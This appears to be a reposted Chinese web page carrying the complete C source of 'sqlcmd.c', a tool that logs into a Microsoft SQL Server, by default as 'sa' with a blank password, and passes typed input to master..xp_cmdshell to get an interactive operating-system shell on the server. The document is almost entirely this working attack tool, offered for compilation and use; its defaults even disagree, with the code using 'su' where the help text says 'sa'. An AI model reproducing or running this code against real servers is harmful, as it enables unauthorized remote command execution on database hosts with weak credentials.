CMD环境下操作SQL语句的C代码

时间:2008-11-17 15:18:02  来源:互联网  作者:  字号:【
  /*
   sqlcmd.c

   WWW.EXCLUDED.ORG - l0om - l0om a7 excluded d07 org

   connect to mssql server and spawn a shell via master..xp_cmdshell 'command'
   - default user "sa"
   - default pwd  ""

    sqlcmd <hostname:port> [options]
    -u: username [def:sa]
-p: password [def:]
  -d: use database
  -h: help
-v: verbose


   badass@linux:/home/sirownalot> gcc -o sqlcmd sqlcmd.c -lsybdb
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sybfront.h>
#include <sybdb.h>
#include <stdio.h>

#define MAX_HOST   40
#define MAX_BUFF   256
#define PROMPT     "sqlcmd> "

#define DEFAULTHST "127.0.0.1:1433"
#define DEFAULTUID "su"
#define DEFAULTPWD ""
#define FGREEN     "\033[0;32m"
#define FNORMAL    "\033[0;38m"
#define FRED       "\033[0;31m"

struct mssql_login {
    char host[MAX_HOST];
    char *uid;
    char *pwd;
    char *database;
};

int set_paranoia(void *addr, size_t nlen, mode_t mask);
int sql_cmd(DBPROCESS *dbd);
void set_login_defaults(struct mssql_login *login);
void help(char *usage);
static void sig_int(int sig);

int main(int argc, char **argv)
{
    int i, verbose = 0;
    char buf[MAX_BUFF], cmdbuf[MAX_BUFF];
    struct mssql_login mslogin;
    LOGINREC *login;
    DBPROCESS *dbd;

    if(dbinit() == FAIL) {
fprintf(stderr, "dbinit failed\n");
return(1);
    } else login = dblogin();
    if(login == NULL) {
fprintf(stderr, "cannot allocate structur\n");
return(1);
    } else set_login_defaults(&mslogin);

    if(argc > 1)
for(i = 1; i < argc; i++)
   if(argv[i][0] == '-')
switch(argv[i][1]) {
   case 'h':
help(argv[0]);
exit(0);
   case 'u':
mslogin.uid = argv[++i];
break;
   case 'p':
mslogin.pwd = argv[++i];
break;
   case 'd':
mslogin.database = argv[++i];
break;
   case 'v':
verbose = 1;
break;
   default:
printf("unknown option >>%s<<\n",argv[i]);
return(1);
} else {
   memcpy(mslogin.host, argv[i], MAX_HOST);
   if(strchr(mslogin.host, ':') == NULL) {
fprintf(stderr, "wrong host syntax!  <hostname:port>\n");
return(1);
   }
}
  

    if(!getuid()) // if we are root set paranoia settings ;)
if(!set_paranoia((LOGINREC *)&login, sizeof(LOGINREC), 022))
   fprintf(stderr, "[warning]: paranoia settings faild\n");
else printf("[note]: paranoia settings set\n");

    DBSETLUSER(login, mslogin.uid);
    DBSETLPWD(login, mslogin.pwd);
    DBSETLAPP(login, "sqlcmd");
    DBSETLHOST(login, mslogin.host);
   
    if(verbose) printf("verbose: username:%s password:%s host:%s\n\n",mslogin.uid, mslogin.pwd, mslogin.host);

    if( (dbd = dbopen(login, mslogin.host)) == NULL) {
fprintf(stderr, "%sfailed to connect to %s!%s\n",FRED,mslogin.host,FNORMAL);
return(1);
    } else printf("%sconnected to host %s as user %s!\nexit with CTRL+C\n%s\n",FGREEN,mslogin.host,mslogin.uid,FNORMAL);

    if(mslogin.database != NULL)
if(dbuse(dbd, mslogin.database) == FAIL)
   fprintf(stderr, "cannot change to %s\n",mslogin.database);
        else if(verbose) printf("using database %s\n",mslogin.database);

    if(signal(SIGINT, sig_int) == SIG_ERR)
fprintf(stderr, "cannot install signalhandler\n");

    i = sql_cmd(dbd);

    dbclose(dbd);
    dbfreebuf(dbd);
    dbexit();
    return(i);
}

int sql_cmd(DBPROCESS *dbd)
{
    char cmdbuf[MAX_BUFF], buf[MAX_BUFF];

    while(1) {
memset(cmdbuf, 0x00, MAX_BUFF);
printf(PROMPT); fflush(stdout);
if(read(0, cmdbuf, MAX_BUFF)==-1) {
   perror("read");
   return(1);
} else dbfcmd(dbd, "exec master..xp_cmdshell '%s'",cmdbuf);
    if(dbsqlexec(dbd) == FAIL || dbresults(dbd) == FAIL)
fprintf(stderr, "error while dbsqlexec\n");
    else dbbind(dbd, 1, NTBSTRINGBIND, 0, (BYTE *)&buf);
   
    while(dbnextrow(dbd) != NO_MORE_ROWS)
printf("%s\n",buf);
    }
    return(0);
}

int set_paranoia(void *addr, size_t nlen, mode_t mask)
{
    if(addr != NULL)
if(mlock(addr, nlen)) return(0);

    if(mask != 0)
umask(mask);

    if(setuid(65534))
return(0);
    return(1);
}

void set_login_defaults(struct mssql_login *login)
{
    memcpy(login->host, DEFAULTHST, MAX_HOST);
    login->uid=DEFAULTUID;
    login->pwd=DEFAULTPWD;
    login->database=NULL;  //Northwind?!
}

static void sig_int(int sig)
{
    printf(FRED);
    printf("\n\n\t EXITING...\n");
    printf(FNORMAL);
    dbexit();
    sleep(1);
    exit(0);
}

void help(char *usage)
{
    printf("%s <hostname:port> [options]\n",usage);
    printf("-u: username [def:sa]\n");
    printf("-p: password [def:]\n");
    printf("-d: use database\n");
    printf("-h: help\n");
    printf("-v: verbose\n");
}

0

顶一下

0

埋一下

引用地址: